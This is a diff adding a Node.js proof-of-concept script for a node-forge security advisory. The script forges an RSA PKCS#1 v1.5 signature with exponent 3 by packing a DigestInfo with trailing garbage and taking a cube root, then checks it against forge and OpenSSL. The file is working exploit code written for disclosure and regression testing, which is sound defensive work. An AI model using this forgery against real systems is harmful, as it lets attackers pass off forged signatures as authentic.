|
| 1 | +#!/usr/bin/env node |
| 2 | +'use strict'; |
| 3 | + |
| 4 | +// Security Advisory PoC |
| 5 | +// |
| 6 | +// https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp |
| 7 | +// |
| 8 | +// This vulnerability was discovered as part of a U.C. Berkeley security |
| 9 | +// research project by: Austin Chu, Sohee Kim, and Corban Villa. |
| 10 | +// |
| 11 | +// Test vectors from this code were added in the RSA unit tests. |
| 12 | + |
| 13 | +const crypto = require('crypto'); |
| 14 | +const forge = require('../../lib/index'); |
| 15 | + |
| 16 | +// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: |
| 17 | +// SEQUENCE { |
| 18 | +// SEQUENCE { OID sha256, NULL }, |
| 19 | +// OCTET STRING <32-byte digest> |
| 20 | +// } |
| 21 | +// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 |
| 22 | +const DIGESTINFO_SHA256_PREFIX = Buffer.from( |
| 23 | + '300d060960864801650304020105000420', |
| 24 | + 'hex' |
| 25 | +); |
| 26 | + |
| 27 | +const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); |
| 28 | +function toBuf(n, len) { |
| 29 | + let h = n.toString(16); |
| 30 | + if (h.length % 2) h = '0' + h; |
| 31 | + const b = Buffer.from(h, 'hex'); |
| 32 | + return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; |
| 33 | +} |
| 34 | +function cbrtFloor(n) { |
| 35 | + let lo = 0n; |
| 36 | + let hi = 1n; |
| 37 | + while (hi * hi * hi <= n) hi <<= 1n; |
| 38 | + while (lo + 1n < hi) { |
| 39 | + const mid = (lo + hi) >> 1n; |
| 40 | + if (mid * mid * mid <= n) lo = mid; |
| 41 | + else hi = mid; |
| 42 | + } |
| 43 | + return lo; |
| 44 | +} |
| 45 | +const cbrtCeil = n => { |
| 46 | + const f = cbrtFloor(n); |
| 47 | + return f * f * f === n ? f : f + 1n; |
| 48 | +}; |
| 49 | +function derLen(len) { |
| 50 | + if (len < 0x80) return Buffer.from([len]); |
| 51 | + if (len <= 0xff) return Buffer.from([0x81, len]); |
| 52 | + return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); |
| 53 | +} |
| 54 | + |
| 55 | +function forgeStrictVerify(publicPem, msg, sig) { |
| 56 | + // Enable for debugging and test vector generation. |
| 57 | + //console.log({ |
| 58 | + // publicPem, |
| 59 | + // msg, msg.toString('hex'), |
| 60 | + // sig: sig.toString('hex') |
| 61 | + //}); |
| 62 | + |
| 63 | + const key = forge.pki.publicKeyFromPem(publicPem); |
| 64 | + const md = forge.md.sha256.create(); |
| 65 | + md.update(msg.toString('utf8'), 'utf8'); |
| 66 | + try { |
| 67 | + // verify(digestBytes, signatureBytes, scheme, options): |
| 68 | + // - digestBytes: raw SHA-256 digest bytes for `msg` |
| 69 | + // - signatureBytes: binary-string representation of the candidate signature |
| 70 | + // - scheme: undefined => default RSASSA-PKCS1-v1_5 |
| 71 | + // - options._parseAllDigestBytes: require DER parser to consume all bytes |
| 72 | + // (this is forge's default for verify; set explicitly here for clarity) |
| 73 | + return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; |
| 74 | + } catch (err) { |
| 75 | + return { ok: false, err: err.message }; |
| 76 | + } |
| 77 | +} |
| 78 | + |
| 79 | +function main() { |
| 80 | + const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { |
| 81 | + modulusLength: 4096, |
| 82 | + publicExponent: 3, |
| 83 | + privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, |
| 84 | + publicKeyEncoding: { type: 'pkcs1', format: 'pem' } |
| 85 | + }); |
| 86 | + |
| 87 | + const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); |
| 88 | + const nBytes = Buffer.from(jwk.n, 'base64url'); |
| 89 | + const n = toBig(nBytes); |
| 90 | + const e = toBig(Buffer.from(jwk.e, 'base64url')); |
| 91 | + if (e !== 3n) throw new Error('expected e=3'); |
| 92 | + |
| 93 | + const msg = Buffer.from('forged-message-0', 'utf8'); |
| 94 | + const digest = crypto.createHash('sha256').update(msg).digest(); |
| 95 | + const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); |
| 96 | + |
| 97 | + // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. |
| 98 | + const k = nBytes.length; |
| 99 | + // ffCount can be set to any value at or below 111 and produce a valid signature. |
| 100 | + // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. |
| 101 | + // However, current versions of node forge do not check for this. |
| 102 | + // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. |
| 103 | + const ffCount = 0; |
| 104 | + // `garbageLen` affects DER length field sizes, which in turn affect how |
| 105 | + // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`. |
| 106 | + // A small cap (8) is enough here: DER length-size transitions are discrete |
| 107 | + // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. |
| 108 | + let garbageLen = 0; |
| 109 | + for (let i = 0; i < 8; i += 1) { |
| 110 | + const gLenEnc = derLen(garbageLen).length; |
| 111 | + const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; |
| 112 | + const seqLenEnc = derLen(seqLen).length; |
| 113 | + const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; |
| 114 | + const next = k - fixed; |
| 115 | + if (next === garbageLen) break; |
| 116 | + garbageLen = next; |
| 117 | + } |
| 118 | + const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; |
| 119 | + const prefix = Buffer.concat([ |
| 120 | + Buffer.from([0x00, 0x01]), |
| 121 | + Buffer.alloc(ffCount, 0xff), |
| 122 | + Buffer.from([0x00]), |
| 123 | + Buffer.from([0x30]), derLen(seqLen), |
| 124 | + algAndDigest, |
| 125 | + Buffer.from([0x04]), derLen(garbageLen) |
| 126 | + ]); |
| 127 | + |
| 128 | + // Build the numeric interval of all EM values that start with `prefix`: |
| 129 | + // - `low` = prefix || 00..00 |
| 130 | + // - `high` = one past (prefix || ff..ff) |
| 131 | + // Then find `s` such that s^3 is inside [low, high), so EM has our prefix. |
| 132 | + const suffixLen = k - prefix.length; |
| 133 | + const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); |
| 134 | + const high = low + (1n << BigInt(8 * suffixLen)); |
| 135 | + const s = cbrtCeil(low); |
| 136 | + if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); |
| 137 | + |
| 138 | + const sig = toBuf(s, k); |
| 139 | + |
| 140 | + const controlMsg = Buffer.from('control-message', 'utf8'); |
| 141 | + const controlSig = crypto.sign('sha256', controlMsg, { |
| 142 | + key: privateKey, |
| 143 | + padding: crypto.constants.RSA_PKCS1_PADDING |
| 144 | + }); |
| 145 | + |
| 146 | + // forge verification calls (library under test) |
| 147 | + const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); |
| 148 | + const forgedForge = forgeStrictVerify(publicKey, msg, sig); |
| 149 | + |
| 150 | + // Node.js verification calls (OpenSSL-backed reference behavior) |
| 151 | + const controlNode = crypto.verify('sha256', controlMsg, { |
| 152 | + key: publicKey, |
| 153 | + padding: crypto.constants.RSA_PKCS1_PADDING |
| 154 | + }, controlSig); |
| 155 | + const forgedNode = crypto.verify('sha256', msg, { |
| 156 | + key: publicKey, |
| 157 | + padding: crypto.constants.RSA_PKCS1_PADDING |
| 158 | + }, sig); |
| 159 | + |
| 160 | + console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); |
| 161 | + console.log('control-node:', controlNode); |
| 162 | + console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); |
| 163 | + console.log('forgery (node/OpenSSL):', forgedNode); |
| 164 | +} |
| 165 | + |
| 166 | +main(); |
0 commit comments